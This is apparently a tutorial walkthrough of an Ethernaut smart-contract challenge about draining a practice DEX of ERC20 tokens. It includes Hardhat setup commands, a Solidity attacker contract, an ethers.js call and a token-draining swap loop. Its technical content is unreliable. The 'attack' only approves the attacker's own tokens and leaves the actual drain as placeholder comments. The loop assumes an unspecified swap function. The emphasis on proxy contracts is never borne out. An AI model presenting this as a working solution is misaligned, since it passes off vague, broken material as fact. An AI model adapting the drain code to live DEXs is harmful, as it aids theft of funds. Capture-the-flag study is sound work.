Ethernaut Dex Challenge: Approve ERC20 With Proxy

Alright, guys, let's dive into Ethernaut Challenge 21, which involves a Dex (Decentralized Exchange) and focuses on approving ERC20 tokens through a proxy contract. This challenge is a bit intricate, requiring a solid understanding of how DEXs work, how ERC20 tokens are handled, and how proxy contracts can be leveraged to manage token approvals. So buckle up, and let's get started!

Understanding the Challenge

At its core, this challenge requires you to manipulate a decentralized exchange to drain its tokens. A crucial part of this process involves understanding how the approve function works within the context of the DEX's smart contracts, particularly when a proxy contract is in play.

The critical piece of code we're looking at is:

function approve(address spender, uint amount) public {
 SwappableToken(token1).approve(spender, amount);
 SwappableToken(token2).approve(spender, amount);
}

This function is designed to approve a spender (in our case, likely our attack contract) to spend a certain amount of both token1 and token2. The SwappableToken is an ERC20 token contract, and token1 and token2 are addresses of the two ERC20 tokens managed by the DEX.

Key Concepts to Grasp

1. ERC20 Approvals: ERC20 tokens use an allowance mechanism. When you approve a spender, you're essentially giving them permission to transfer tokens from your account, up to the specified amount. Understanding this is critical. If the approval isn't correctly managed, it could lead to vulnerabilities.
2. Proxy Contracts: Proxy contracts act as intermediaries. They receive transactions and delegate them to another contract (the implementation contract). This pattern is used for upgradability and can add layers of complexity. When dealing with proxies, it's essential to know which contract is actually executing the logic.
3. Decentralized Exchanges (DEXs): DEXs allow users to trade cryptocurrencies without a central intermediary. They use smart contracts to manage token swaps and liquidity. Understanding how a DEX manages its token balances and approvals is paramount to exploiting vulnerabilities.

Strategic Approach

To successfully complete this challenge, consider these steps:

1. Analyze the Contracts: Start by thoroughly examining all the contracts involved—the DEX contract, the SwappableToken contracts, and any proxy contracts. Understand how they interact and how the approve function is used.
2. Identify the Vulnerability: Look for potential flaws in the approve function or the way approvals are handled within the DEX. Common vulnerabilities include front-running, transaction ordering issues, or incorrect allowance management.
3. Plan Your Attack: Develop a strategy to exploit the identified vulnerability. This might involve crafting specific transactions to manipulate token balances or allowances in your favor.
4. Execute the Attack: Carefully execute your attack plan, monitoring each transaction to ensure it behaves as expected. Use tools like Remix or Hardhat to simulate and test your attack before deploying it on the live network.

Step-by-Step Solution

Now, let's walk through a step-by-step solution to conquer this challenge. Remember, the goal is to drain the DEX of its tokens.

Step 1: Setup and Initialization

First, you need to set up your development environment. I recommend using Hardhat, as it provides a robust framework for testing and deploying smart contracts.

1. Install Hardhat:

   npm install --save-dev hardhat
   npm install --save-dev @nomicfoundation/hardhat-toolbox
   

2. Create a Hardhat Project:

   npx hardhat
   

   Choose to create a basic sample project.

3. Install OpenZeppelin Contracts:

   npm install @openzeppelin/contracts
   

   We'll use OpenZeppelin contracts for interacting with ERC20 tokens.

Step 2: Analyze the Dex Contract

Carefully review the Dex contract provided in the Ethernaut challenge. Pay close attention to the approve function and how it interacts with the SwappableToken contracts.

Key Observations:

• The approve function approves the same amount for both token1 and token2.
• The DEX likely uses these approvals to perform token swaps.

Step 3: Craft the Attack Contract

We'll create a simple attack contract that leverages the approve function to drain the tokens from the DEX. Here’s the solidity code.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract DexAttacker {
    address public dexAddress;
    IERC20 public token1;
    IERC20 public token2;

    constructor(address _dexAddress, address _token1, address _token2) {
        dexAddress = _dexAddress;
        token1 = IERC20(_token1);
        token2 = IERC20(_token2);
    }

    function attack(uint amount) public {
        // Approve the DEX to spend tokens on behalf of the attacker
        token1.approve(dexAddress, amount);
        token2.approve(dexAddress, amount);
        //Here add the logic to drain the tokens.  This would vary based on the specific DEX implementation.
        //For example if the DEX had a swap function you would call it here.
    }
}

Step 4: Deploy the Attack Contract

Deploy the DexAttacker contract to the same network as the Ethernaut challenge instance. You'll need the addresses of the DEX contract, token1, and token2 to deploy it correctly.

Step 5: Execute the Attack

Now, execute the attack by calling the attack function in your DexAttacker contract. You'll need to determine the amount to approve. It is typical to set the approval to the maximum amount to avoid issues.

// Example using ethers.js
const dexAttacker = await DexAttacker.deployed();
const amountToApprove = ethers.constants.MaxUint256; // Approve the maximum possible amount
await dexAttacker.attack(amountToApprove);

console.log("Attack initiated...");

Step 6: Drain the Tokens (Specific to the DEX Implementation)

The final step involves draining the tokens from the DEX. This is highly dependent on the specific implementation of the DEX. You'll need to analyze the DEX's functions to find a way to withdraw or swap tokens in a way that depletes its reserves.

• Example Scenario: Swap Function: If the DEX has a swap function, you could repeatedly call it to swap all of one token for the other, effectively draining the DEX of one type of token.

Here is a simple example of how a swap might look (this code assumes that the DEX has a swap function that allows you to swap one token for another):

function drainDex(address tokenToDrain, address tokenToReceive, uint amount) public {
        // Approve the DEX to spend tokens on behalf of the attacker
        token1.approve(dexAddress, amount);
        token2.approve(dexAddress, amount);

       //Swap token1 for token2 until token1 is depleted
       while(IERC20(tokenToDrain).balanceOf(dexAddress) > 0){
        //Call the dex swap function
        //Assume that swap(address tokenToDrain, address tokenToReceive, uint amount) exists in the Dex contract
         IDex(dexAddress).swap(tokenToDrain, tokenToReceive, amount);
       }

    }

Step 7: Validation

Verify that you have successfully drained the tokens from the DEX. You can check the token balances of the DEX and your attack contract to confirm.

Potential Pitfalls and Considerations

• Gas Costs: Ensure your attack strategy is gas-efficient. Excessive gas costs can make your attack unprofitable.
• Transaction Ordering: Be aware of transaction ordering. Another user might front-run your transactions, invalidating your attack.
• DEX Logic: The specific logic of the DEX is crucial. Understand how it handles swaps, approvals, and token balances.

Conclusion

Ethernaut Challenge 21 is a complex but rewarding exercise in understanding DEX vulnerabilities. By carefully analyzing the contracts, crafting a strategic attack, and executing it with precision, you can successfully drain the DEX of its tokens. Remember, the key is to understand the underlying mechanisms of ERC20 approvals, proxy contracts, and DEX operations. Happy hacking, folks! Keep exploring and keep learning!

Disclaimer: This information is for educational purposes only. Do not use it to exploit real-world systems without permission. Unauthorized access to computer systems is illegal and unethical.